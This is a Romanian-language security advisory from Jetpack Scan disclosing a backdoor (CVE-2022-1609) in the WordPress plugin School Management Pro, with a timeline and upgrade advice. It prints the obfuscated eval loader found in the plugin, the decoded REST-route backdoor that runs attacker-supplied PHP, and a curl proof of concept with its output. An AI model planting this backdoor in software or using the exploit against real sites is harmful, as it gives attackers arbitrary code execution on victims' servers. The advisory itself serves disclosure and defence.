Backdoor găsit în pluginul The School Management Pro pentru WordPress

Publicat: 2022-05-20

Versiunile anterioare versiunii 9.9.7 ale pluginului WordPress „The School Management Pro” de la Weblizar conțin o ușă din spate care permite unui atacator neautentificat să execute cod PHP arbitrar pe site-urile cu pluginul instalat. Dacă aveți o versiune anterioară instalată pe site-ul dvs., vă recomandăm să faceți imediat upgrade la versiunea 9.9.7 sau ulterioară. Aceasta este o problemă critică de securitate.

Citiți mai departe pentru detaliile complete.

Detalii:

  • Nume plugin: The School Management Pro
  • Plugin slug: school-management-pro , school-management-pro-9.9.6 , school-management-pro-9.9.5 , the-school-management , etc.
  • Furnizor: Weblizar
  • Versiuni afectate: < 9.9.7
  • CVE: CVE-2022-1609
  • Scor CVSS: 10,0 (critic)
  • Vector CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
  • WPVULNDB: https://wpscan.com/vulnerability/e2d546c9-85b6-47a4-b951-781b9ae5d0f2

O parte a jobului aici la Jetpack Scan este sprijinirea afacerii noastre WordPress găzduite prin verificarea fișierelor suspecte găsite pe site-urile pe care le găzduim. De obicei, acest lucru se datorează unui fișier marcat de una dintre semnăturile noastre sau că proprietarul site-ului a găsit ceva suspect și dorește părerea noastră. Așa cum este natura lucrurilor, uneori aceste fișiere sunt benigne, unele sunt fals pozitive, iar unele sunt noi tulpini sau variante de malware care necesită mai multă clasificare adecvată.

Uneori, totuși, ceea ce obținem este mai interesant împreună.

Cu câteva săptămâni în urmă a avut loc un astfel de incident. Echipa de asistență extinsă WordPress.com ne-a contactat în legătură cu un cod obscur, evident rău intenționat, găsit într-un plugin pe mai multe site-uri.

}
$_fc = eval("\x65\x76\x61\x6c(\x67\x7a".chr($_x = 0x70 - 7).chr($_x += 5).chr($_x -= 8) . "\x6c\x61\x74" . "\x65\x28\x62"."\x61\x73\x65\x36"."\x34\x5f\x64\x65\x63\x6f\x64\x65\x28'fY9BasMwEEXX8ikmECIbnAukJJAW77ooSaCLUsTYHjsilu2O5JRQfPdKDs2mbbTQQu/9mS8sS4WF010bg2SyTmGvlW61kylUQ3tFCXxFgqnW1hGrSeNucBRHQkg0S0MmJ/YJ2eiCWksy9QSZ8RIUIQ25Y1daCbDewOuL2mX7g9oTn4lXq6ddtj1sH5+zdHILbJoci5MM7q0CzJk+Br8ZpjL+zJFrC+sbWG5qcqpHRmPj5GFydAUxaGvJ+QHBf5N5031W2h7lu5+0WMAMyPTu8i//I303OsGfjoLO2Pzm13JjuMfw6SQS/m304Bs='" . str_repeat(chr(0x29), 3)."\x3b");
class WLSM_Crypt_Blowfish_DefaultKey

După două runde de dezfundare trivială, rezultă:

add_action( 'rest_api_init', function() {
        register_rest_route(
                'am-member', 'license',
                array(
                        'methods'  => WP_REST_Server::CREATABLE,
                        'callback' => function( $request ) {
                                $args = $request->get_params();
                                if ( isset( $args['blowfish'] ) && ! empty( $args['blowfish'] ) && isset( $args['blowf'] ) && ! empty( $args['blowf'] ) ) {
                                        eval( $args['blowf'] );
                                }
                        },
                )
        );
} );

Codul în sine nu este chiar atât de interesant: este o ușă din spate evidentă injectată în codul de verificare a licenței al pluginului. Permite oricărui atacator să execute cod PHP arbitrar pe site cu pluginul instalat, așa cum se poate vedea în dovada conceptului de mai jos:

$ curl -s -d 'blowfish=1' -d "blowf=system('id');" 'http://localhost:8888/wp-json/am-member/license'
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Warning: Cannot modify header information - headers already sent by (output started at /var/www/html/wp-content/plugins/school-management-pro-9.9.4/admin/inc/manager/WLSM_LC.php(683) : eval()'d code(1) : eval()'d code(9) : eval()'d code:1) in /var/www/html/wp-includes/rest-api/class-wp-rest-server.php on line 1713

Acesta este genul de lucru pe care îl vedem adesea în pluginurile anulate; acest lucru se întâmplă atât de des încât avem un caz similar deja tratat într-o postare anterioară. Prima noastră presupunere a fost că acesta a fost și cazul aici; proprietarii site-ului instalaseră un plugin dintr-o sursă umbrită.

Cu toate acestea, am fost asigurați că pluginurile instalate au fost primite direct de la furnizor. Acest lucru a fost confirmat rapid și de către vânzătorul care a eliminat codul ofensator după ce a fost informat despre prezența acestuia.

Am încercat să obținem mai multe informații de la furnizor despre când a fost injectată ușa din spate, ce versiuni sunt afectate și cum a ajuns codul în plugin în primul rând. Acest efort nu a avut succes, deoarece furnizorul spune că nu știu când și cum a intrat codul în software-ul lor.

Am văzut versiuni cel puțin de la 8.9 care conțineau ușa din spate în sistemele noastre găzduite, dar din moment ce nu avem informații clare despre când a apărut prima dată ușa din spate, trebuie să presupunem că orice versiune înainte ca 9.9.7 să fie afectată.

Detectarea și alertarea despre problemă este și mai complicată de pluginul care funcționează sub un număr de slug-uri diferite, folosind adesea slug-uri care conțin numărul versiunii. În sistemele noastre găzduite am văzut cel puțin aceste variante:

  • school-management
  • school-management-v*
  • school-management-pro
  • school-management-pro-*
  • the-school-management

Versiunea gratuită din depozitul de pluginuri WordPress.org nu conține codul de licență și nici nu este afectată de această ușă în spate.

Cronologie

2022-05-04: Echipa de asistență WordPress.com escaladată descoperă codul injectat și contactează Jetpack Scan pentru a analiza și a verifica descoperirea. După ce confirmă că este o ușă în spate, ei anunță vânzătorul.

2022-05-05: furnizorul confirmă că codul injectat este într-adevăr în distribuția lor și ne oferă o versiune 9.9.7 în care ușa din spate este eliminată. Confirmăm că este curat.

2022-05-06: Furnizorul distribuie în mod activ versiunea 9.9.7 clienților și îi încurajează să actualizeze.

2022-05-10: Furnizorul a răspuns la întrebările noastre suplimentare despre dacă știau când a fost adăugată ușa din spate, dar susțin că nu știe. Au furnizat o versiune anterioară, 9.9.4, care includea ușa din spate.

Concluzie

Vă recomandăm ca orice site cu orice versiune anterioară 9.9.7 a School Management Pro să instaleze imediat upgrade-ul.

La Jetpack, muncim din greu pentru a ne asigura că site-urile dvs. sunt protejate de aceste tipuri de vulnerabilități. Vă recomandăm să aveți un plan de securitate pentru site-ul dvs. care să includă scanarea fișierelor rău intenționate și backup-uri. Jetpack Security este o opțiune excelentă de securitate WordPress pentru a vă asigura că site-ul și vizitatorii sunt în siguranță.

credite

Această cercetare a fost o cooperare între echipa de asistență crescută WordPress.com cu Nic Sevic, Thom Stackhouse și Joshua Goode și Jetpack Scan cu Harald Eilertsen și Fioravante Cavallari. De asemenea, mulțumesc lui Benedict Singer pentru feedback și corecții.